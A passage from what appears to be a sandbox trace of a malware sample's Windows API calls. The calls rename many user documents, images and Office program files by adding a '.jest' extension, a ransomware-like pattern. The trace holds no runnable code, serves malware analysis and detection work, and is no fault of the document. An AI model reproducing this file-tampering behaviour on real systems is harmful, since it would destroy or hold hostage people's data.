halpmcxz\\desktop\\q_bxoedyggawhwddh-bv2eqhoj b66fcjjhuh5wag1mvbkginoqzs0uvp-jwxpxfy3zh62u-cpyjivey36nrr5p9grakiy6nd2s.tmp")) returned 0 [0173.434] GetLastError () returned 0x2 [0173.436] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\5o8ZhCB1r59rhMc.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\5o8zhcb1r59rhmc.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\5o8ZhCB1r59rhMc.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\5o8zhcb1r59rhmc.png.jest")) returned 1 [0173.437] VarBstrFromR4 (in: fltIn=0x47945b7f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.99") returned 0x0 [0173.438] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\5o8ZhCB1r59rhMc.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\5o8zhcb1r59rhmc.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vZPYDbB3xIvFeoNy1 01Zxiselk4LLmEuIe fLi89FqORLViUnV4LrFXdsirLvoXd5s6BIL_l_ItiPkX7vkc91sBmcPQAzEbAQ2f.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vzpydbb3xivfeony1 01zxiselk4llmeuie fli89fqorlviunv4lrfxdsirlvoxd5s6bil_l_itipkx7vkc91sbmcpqazebaq2f.tmp")) returned 0 [0173.439] GetLastError () returned 0x2 [0173.440] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8pidYdBG.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\8pidydbg.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8pidYdBG.pps.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\8pidydbg.pps.jest")) returned 1 [0173.442] VarBstrFromR4 (in: fltIn=0x47945b7f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.99") returned 0x0 [0173.443] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8pidYdBG.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\8pidydbg.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3tIOMCvt5r_fCwNZkjewV1ZLsAvmoUBRI9icoZtEqJkuhugkJ5N6Wv5Lj4s6phBp_dvLZDIliVaVOU3cFz1oEzSQP3L3qrWC4c8j.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3tiomcvt5r_fcwnzkjewv1zlsavmoubri9icozteqjkuhugkj5n6wv5lj4s6phbp_dvlzdilivavou3cfz1oezsqp3l3qrwc4c8j.tmp")) returned 0 [0173.443] GetLastError () returned 0x2 [0173.445] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ymkgPjWvoslZE N.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ymkgpjwvoslze n.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ymkgPjWvoslZE N.odp.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ymkgpjwvoslze n.odp.jest")) returned 1 [0173.446] VarBstrFromR4 (in: fltIn=0x47945b7f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.99") returned 0x0 [0173.447] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ymkgPjWvoslZE N.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ymkgpjwvoslze n.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G-XPxmIOfB6h2lLLbZ3FN8xjw 9rel0j_dJxY68fE9IPZSrWLH g-7b0 OLU4sCBxFHKCjmH1s CupOQrS66T-Xm_LYEz39m35Ilt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g-xpxmiofb6h2lllbz3fn8xjw 9rel0j_djxy68fe9ipzsrwlh g-7b0 olu4scbxfhkcjmh1s cupoqrs66t-xm_lyez39m35ilt.tmp")) returned 0 [0173.448] GetLastError () returned 0x2 [0173.449] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\VIdgH.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\vidgh.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\VIdgH.xlsx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\vidgh.xlsx.jest")) returned 1 [0173.451] VarBstrFromR4 (in: fltIn=0x47945b81, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75959.01") returned 0x0 [0173.452] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\VIdgH.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\vidgh.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HqN-4MrjxLiuH1t1jcFp6F4hO blxdgk_ _M2XTdwRbfRDpXSi36MnltDscZyP7DKRPOMBAgcEzrOXM0pdqposRKvhE f0kTRmFM.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hqn-4mrjxliuh1t1jcfp6f4ho blxdgk_ _m2xtdwrbfrdpxsi36mnltdsczyp7dkrpombagcezroxm0pdqposrkvhe f0ktrmfm.tmp")) returned 0 [0173.452] GetLastError () returned 0x2 [0173.454] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\qwdItB.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\qwditb.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\qwdItB.jpg.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\qwditb.jpg.jest")) returned 1 [0173.455] VarBstrFromR4 (in: fltIn=0x47945b81, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75959.01") returned 0x0 [0173.456] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\qwdItB.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\qwditb.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ihJhFM0eFSlHpuu6_wXWbsAcAkDO6mNlHY1sHqalxDDlNPHLkYigOJObpmVbeumiEskXLDHfj23PLs5pLqhOL4--Vik L7OYmBTK.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ihjhfm0efslhpuu6_wxwbsacakdo6mnlhy1shqalxddlnphlkyigojobpmvbeumieskxldhfj23pls5plqhol4--vik l7oymbtk.tmp")) returned 0 [0173.456] GetLastError () returned 0x2 [0173.458] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8km-g.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\8km-g.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8km-g.doc.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\8km-g.doc.jest")) returned 1 [0173.459] VarBstrFromR4 (in: fltIn=0x47945b81, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75959.01") returned 0x0 [0173.460] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8km-g.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\8km-g.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kwvr2nR0TUjNHFk9XW-PjYTy4qLtPgg20N-EX8T9-5gxyPXfpqqayeOB-I1LyN_UZLL-j9Yq4C0VsGobz4p7mdeJ0k2u 8BowxA.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kwvr2nr0tujnhfk9xw-pjyty4qltpgg20n-ex8t9-5gxypxfpqqayeob-i1lyn_uzll-j9yq4c0vsgobz4p7mdej0k2u 8bowxa.tmp")) returned 0 [0173.460] GetLastError () returned 0x2 [0173.462] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eM945b.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\em945b.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eM945b.xls.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\em945b.xls.jest")) returned 1 [0173.464] VarBstrFromR4 (in: fltIn=0x47945b81, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75959.01") returned 0x0 [0173.465] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eM945b.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\em945b.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5nt49N81VJjLkJDeUnesTVM 9ssFP u_to-h1QbsTq67RkrDccXNvK noGPJBUvEKvclNIMhYZuQ6k1atamzuuSzs3gBq 27nC5N.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5nt49n81vjjlkjdeunestvm 9ssfp u_to-h1qbstq67rkrdccxnvk nogpjbuvekvclnimhyzuq6k1atamzuuszs3gbq 27nc5n.tmp")) returned 0 [0173.465] GetLastError () returned 0x2 [0173.466] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jj Z5WqxypOr3 yl-aK_.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jj z5wqxypor3 yl-ak_.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jj Z5WqxypOr3 yl-aK_.jpg.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jj z5wqxypor3 yl-ak_.jpg.jest")) returned 1 [0173.467] VarBstrFromR4 (in: fltIn=0x47945b83, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75959.02") returned 0x0 [0173.469] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jj Z5WqxypOr3 yl-aK_.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jj z5wqxypor3 yl-ak_.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kECk7p JFrR1gY_dFM8BhGXi1Xsp1jGzHYPwwP-XOqUCPYcjf0ubh4IGSSzPJL_7KdPVpppBBmRqlAyfhj3 R0lwgo8ven6wXlvO.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\keck7p jfrr1gy_dfm8bhgxi1xsp1jgzhypwwp-xoqucpycjf0ubh4igsszpjl_7kdpvpppbbmrqlayfhj3 r0lwgo8ven6wxlvo.tmp")) returned 0 [0173.469] GetLastError () returned 0x2 [0173.471] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BsW9feY.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bsw9fey.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BsW9feY.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bsw9fey.png.jest")) returned 1 [0173.473] VarBstrFromR4 (in: fltIn=0x47945b83, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75959.02") returned 0x0 [0173.474] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BsW9feY.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bsw9fey.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5iEd3Ei9epHikjED3OQ-fbdOUZ -_d_J6OMgtt6ksUE4v e__hJj2JuLcw_zpk2xEpn5 8DfKdWgZMNKRgCyJ8zX813U5klCG9g.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5ied3ei9ephikjed3oq-fbdouz -_d_j6omgtt6ksue4v e__hjj2julcw_zpk2xepn5 8dfkdwgzmnkrgcyj8zx813u5klcg9g.tmp")) returned 0 [0173.475] GetLastError () returned 0x2 [0173.479] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6VkWBJIeqb0PI0PF.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6vkwbjieqb0pi0pf.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6VkWBJIeqb0PI0PF.ods.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6vkwbjieqb0pi0pf.ods.jest")) returned 1 [0173.481] VarBstrFromR4 (in: fltIn=0x47945b84, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75959.03") returned 0x0 [0173.482] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6VkWBJIeqb0PI0PF.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6vkwbjieqb0pi0pf.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hMYXLgH9vydRKMTPOs7ZaGXZ0xbOsH53srLvi6CckDnLqzWIFlFyUo_-P-lbjImKiJiYSR_jDhmm4Jg-2CP1Yt_Z-vvQqlANASIs.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hmyxlgh9vydrkmtpos7zagxz0xbosh53srlvi6cckdnlqzwiflfyuo_-p-lbjimkijiysr_jdhmm4jg-2cp1yt_z-vvqqlanasis.tmp")) returned 0 [0173.482] GetLastError () returned 0x2 [0173.485] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OZUFksBX.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ozufksbx.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OZUFksBX.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ozufksbx.png.jest")) returned 1 [0173.487] VarBstrFromR4 (in: fltIn=0x47945b84, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75959.03") returned 0x0 [0173.488] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OZUFksBX.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ozufksbx.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_c6rthAbMEL-AgyWBqeVHyctXE6U5fX0k1VpfjJCer PrwS_Txi6iSMhbEG FE6 AFp-d_Mg2ZKbOTLcBnzdLfpmL HM7UfMRjsD.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_c6rthabmel-agywbqevhyctxe6u5fx0k1vpfjjcer prws_txi6ismhbeg fe6 afp-d_mg2zkbotlcbnzdlfpml hm7ufmrjsd.tmp")) returned 0 [0173.488] GetLastError () returned 0x2 [0173.490] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xUqAH6EfY_VYi7.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xuqah6efy_vyi7.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xUqAH6EfY_VYi7.rtf.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xuqah6efy_vyi7.rtf.jest")) returned 1 [0173.492] VarBstrFromR4 (in: fltIn=0x47945b84, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75959.03") returned 0x0 [0173.493] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xUqAH6EfY_VYi7.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xuqah6efy_vyi7.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IYJx8XERGPJ39UEHr 6rXoJ6z3Y7sKQVptGv1hg yg1ZyGvFCq7dRSN39 0WrHeS8UULmvkuc0x99tIk8s-Dd8EJO4RtOweMg7IW.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iyjx8xergpj39uehr 6rxoj6z3y7skqvptgv1hg yg1zygvfcq7drsn39 0wrhes8uulmvkuc0x99tik8s-dd8ejo4rtowemg7iw.tmp")) returned 0 [0173.493] GetLastError () returned 0x2 [0173.494] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eiVRQ05vT6.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eivrq05vt6.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eiVRQ05vT6.jpg.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eivrq05vt6.jpg.jest")) returned 1 [0173.497] VarBstrFromR4 (in: fltIn=0x47945b87, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75959.05") returned 0x0 [0173.498] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eiVRQ05vT6.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eivrq05vt6.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\geqBeX5J7qqFUMWc3ipqOko-uGvSwqtbBylJwBduqHv_qfEGKibW8WGwSHpCC8Rt7ZmQbVVLF0nJ4uCty Q0A8yEkIrtKYIbVKgbO.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\geqbex5j7qqfumwc3ipqoko-ugvswqtbbyljwbduqhv_qfegkibw8wgwshpcc8rt7zmqbvvlf0nj4ucty q0a8yekirtkyibvkgbo.tmp")) returned 0 [0173.498] GetLastError () returned 0x2 [0173.499] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\o-udO3.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\o-udo3.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\o-udO3.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\o-udo3.png.jest")) returned 1 [0173.501] VarBstrFromR4 (in: fltIn=0x47945b87, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75959.05") returned 0x0 [0173.502] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\o-udO3.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\o-udo3.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PCSUsTjpZnQUrpbRVue8ZQkjkBtppPyNyw YkjEaUyWIjYGk6MBdbZOre-wXyH0HStU4SbYgn6TULtD_wgMXz52emMbDsXNq-h r.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pcsustjpznqurpbrvue8zqkjkbtpppynyw ykjeauywijygk6mbdbzore-wxyh0hstu4sbygn6tultd_wgmxz52emmbdsxnq-h r.tmp")) returned 0 [0173.502] GetLastError () returned 0x2 [0173.513] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.jest")) returned 1 [0173.519] VarBstrFromR4 (in: fltIn=0x47945b89, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75959.07") returned 0x0 [0173.520] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d6bin5UaTh2Kcp9vJgOqq701NAHqKx0vxI1aya4wG2M3m zRmdXvfEGVtvuWSKapMjBZtB8225CVjkoi5wg WkLwMi5WSAXKGJP.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d6bin5uath2kcp9vjgoqq701nahqkx0vxi1aya4wg2m3m zrmdxvfegvtvuwskapmjbztb8225cvjkoi5wg wklwmi5wsaxkgjp.tmp")) returned 0 [0173.520] GetLastError () returned 0x2 [0173.523] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.jest")) returned 1 [0173.525] VarBstrFromR4 (in: fltIn=0x47945b89, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75959.07") returned 0x0 [0173.526] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gl1fHO3dO78weKVSJLUJhY5er4Sn5upYCwUkTGDWBIFeHUUyTWz0kjN_TbLTSSs WIsxgqnPbyQEMsphm6eW5ScXLTDqN0B_1Zg.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gl1fho3do78wekvsjlujhy5er4sn5upycwuktgdwbifehuuytwz0kjn_tbltsss wisxgqnpbyqemsphm6ew5scxltdqn0b_1zg.tmp")) returned 0 [0173.526] GetLastError () returned 0x2 [0173.604] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG.jest" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg.jest")) returned 1 [0173.612] VarBstrFromR4 (in: fltIn=0x47945b94, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75959.16") returned 0x0 [0173.613] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\b4b9O1lJFZzvACY7geRfJ7Tj yTxxtfwry6h1koyQUCeLcbu7rnkzCRWiGY2RXc2IpsKlHXrmNzQpmvzrjUlJBR7-Ae-6J5yz5J.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\b4b9o1ljfzzvacy7gerfj7tj ytxxtfwry6h1koyqucelcbu7rnkzcrwigy2rxc2ipsklhxrmnzqpmvzrjuljbr7-ae-6j5yz5j.tmp")) returned 0 [0173.613] GetLastError () returned 0x2 [0173.617] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG.jest" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg.jest")) returned 1 [0173.621] VarBstrFromR4 (in: fltIn=0x47945b94, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75959.16") returned 0x0 [0173.622] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GwAVzSUiUAQW W2K3_U9PEj-UylTdYqXjrmSNimDNSyHzTldAtupoPiAtQE8vzGvmMj74-SlqHAL53vfCJLQkfK0DOh86eC6OkU8.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gwavzsuiuaqw w2k3_u9pej-uyltdyqxjrmsnimdnsyhztldatupopiatqe8vzgvmmj74-slqhal53vfcjlqkfk0doh86ec6oku8.tmp")) returned 0 [0173.622] GetLastError () returned 0x2 [0173.623] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG.jest" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg.jest")) returned 1 [0173.625] VarBstrFromR4 (in: fltIn=0x47945b97, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75959.18") returned 0x0 [0173.626] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Zy0KjDSW7_CQB_b8zBQOkCr7Orbkvd5fviYAQxJ6-WL5mbQNlPkFdqapc6TQ_2BAEFebrYe4SHAt-qv2NbkhX o pE_gds3MsqgQ0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zy0kjdsw7_cqb_b8zbqokcr7orbkvd5fviyaqxj6-wl5mbqnlpkfdqapc6tq_2baefebrye4shat-qv2nbkhx o pe_gds3msqgq0.tmp")) returned 0 [0173.626] GetLastError () returned 0x2 [0173.627] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG.jest" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg.jest")) returned 1 [0173.629] VarBstrFromR4 (in: fltIn=0x47945b97, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75959.18") returned 0x0 [0173.630] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\v2c3pSTFOeM06uUpGrFDOyf0Z6KYRrQp_SIcTu5EXucqi-sOd4BGYiKMMqCZpS74A-WOlYPifaC3 ngs GFh2GHwMJCMV-nyYDlE0.tmp" (normalized: "c:\\users\\5p5nrgjn0js 